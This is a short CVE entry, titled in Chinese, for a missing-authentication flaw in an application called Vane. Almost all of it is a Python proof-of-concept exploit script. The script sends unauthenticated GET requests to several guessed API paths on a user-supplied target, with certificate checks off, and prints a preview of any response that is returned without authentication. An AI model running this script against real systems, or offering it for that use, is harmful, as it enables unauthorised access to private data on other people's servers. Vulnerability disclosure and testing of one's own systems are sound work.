CVE-2026-9371 ItzCrazyKns Vane API 缺少认证漏洞

import requests import sys def exploit_cve_2026_9371(target_url): """ CVE-2026-9371 PoC - ItzCrazyKns Vane Missing Authentication Target: route.ts API endpoint """ # Vulnerable API endpoint endpoints = [ "/api/route", "/api/v1/route", "/route", "/api/file/route" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-9371 - Missing Authentication in Vane API") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Send unauthenticated request response = requests.get(url, timeout=10, verify=False) print(f"\n[+] Testing endpoint: {endpoint}") print(f" Status Code: {response.status_code}") if response.status_code == 200: print(f" [!] Vulnerable! Endpoint accessible without authentication") print(f" Response preview: {response.text[:200]}") elif response.status_code == 401: print(f" [-] Protected endpoint") else: print(f" [-] Unexpected status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1] exploit_cve_2026_9371(target)